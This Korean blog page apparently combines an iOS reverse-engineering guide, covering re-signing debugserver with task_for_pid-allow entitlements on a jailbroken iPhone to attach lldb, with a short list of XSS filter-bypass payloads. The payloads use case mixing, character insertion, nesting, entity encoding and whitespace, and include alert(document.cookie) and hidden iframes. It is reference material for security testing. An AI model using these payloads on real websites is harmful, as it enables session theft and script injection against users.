lldb 사용 방법

환경

  • 기종: iPhone 5S
  • 버전: iOS 12.0.1
  • 탈옥 여부: 반탈옥 (Chimera, uncOver 이용)
  • Xcode, iFunBox 사용

설치

1. 아이폰에 디버그서버 설치

(1) Xcode에서 기기를 선택합니다.

xxx의 iPhone 선택


(2) Indexing | Processing files가 완료되면 아이폰에 디버그 서버가 자동으로 설치됩니다.

디버그서버 설치중

 

2. 디버그서버를 맥에 복사

(1) Cydia에서 OpenSSH를 설치한 후 터미널을 이용하였습니다.

// iPhone
cp /usr/bin/debugserver /private/var/mobile/Media/

(2) iFunbox - Raw File System에서 debugserver를 선택한 후 Copy To Mac을 선택하여 맥으로 가져옵니다.

3. entitlements.plist 수정 (첨부파일 참고)

entitlements.plist
0.00MB

(1) 디버그서버에서 plist를 생성합니다.

// Mac
codesign --display --entitlements entitlements.plist debugserver

(2) plist 파일을 수정합니다. seatbelt-profiles자격은 제거하고, get-task-allow, task_for_pid-allow 자격을 추가합니다.

<key>get-task-allow</key>
<true/>
<key>task_for_pid-allow</key>
<true/>

권한 삭제 및 추가

(3) plist 파일을 사용하여 디버그서명에 서명합니다. (바이너리 권한을 덮어씌웁니다.)

// MAC
codesign -s - --entitlements entitlements.plist -f debugserver

4. 서명한 디버그서버를 아이폰에 전송

(1) iFunBox - Raw File System에 디버그서버를 복사합니다. (드래그 앤 드롭 또는 Copy from Mac 이용)
(2) 기존 디버그서버를 백업한 후 디버그서버를 /usr/bin으로 옮깁니다.

// iPhone
mv /usr/bin/debugserver /usr/bin/debugserver-old
cp /private/var/mobile/Media/debugserver /usr/bin/

(3) 디버그서버에 실행 권한을 추가합니다.

// iPhone
chmod +x /usr/bin/debugserver

5. 스프링보드 재시작

디버그서버를 구동했을 때 "Killed: 9"가 나오면 스프링보드를 재시작해야 합니다.

// iPhone
killall -9 SpringBoard

6. 디버그서버 구동

(1) 아이폰에서 디버그서버를 구동합니다. "path_to_binary"에는 바이너리 경로를 넣어줍니다.
바이너리 경로는 앱을 시작한 후 "ps aux | grep 검색어" 명령어로 확인할 수 있습니다.

// iPhone
ps aux | grep XXX
debugserver localhost:1234 -x backboard path_to_binary

(2) iproxy 명령어를 사용하여 USB 포트와 TCP 포트 사이에서 프록시처럼 작동하게 합니다.

// Mac
brew install usbmuxd    // 설치
iproxy 1234 1234 &

(3) lldb를 실행합니다.

// Mac
lldb
process connect connect://127.0.0.1:1234

사용

참고: https://lldb.llvm.org/use/map.html (gdb, lldb 명령어 맵핑)

AstroGrep

경로 내 파일들에서 문자열 검색하여 보여준다. 더블클릭 시 메모장으로도 확인이 가능하다.

1. 공격구문(참고)

<script src="http://www.nhn.com"></script>
<script>alert(document.cookie)</script>
<img src="javascript:alert('xss');">
<object width=“400” height=“400” data=“http://www.nhn.com”></object>
<iframe width=0 hegith=0 src=“http://www.nhn.com”></iframe>

2. 대소문자 체크

<IMG SRC="JaVaScRiPt:AlErT('xss')"></IMG>
<A HREF="http://www.nhn.com"></A>

3. 공백으로 치환되는 문자 이용

<!-- \를 공백으로 치환하는 사이트의 경우 -->
<scr\ipt>locati\on.hr\ef='ht\tp:/\/www.nhn.com'</scr\ipt>

4. 중첩 이용

<IMG """><SCRIPT>alert("xss")</SCRIPT>"></IMG>

5. 인코딩 이용

<img src="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x78&#x73&#x73&#x27&#x29">

6. 스페이스, 탭 등 이용

<IMG SRC="jav    ascript:alert('XSS');"></IMG>
<IMG SRC="jav&#x09;ascript:alert('XSS');"></IMG>
<IMG SRC="jav&#x0A;ascript:alert('XSS');"></IMG>
<IMG SRC="jav&#x0D;ascript:alert('XSS');"></IMG>

'develop > web' 카테고리의 다른 글

LESS  (0) 2018.12.29
CSS  (0) 2018.12.26
HTML  (0) 2018.12.26

+ Recent posts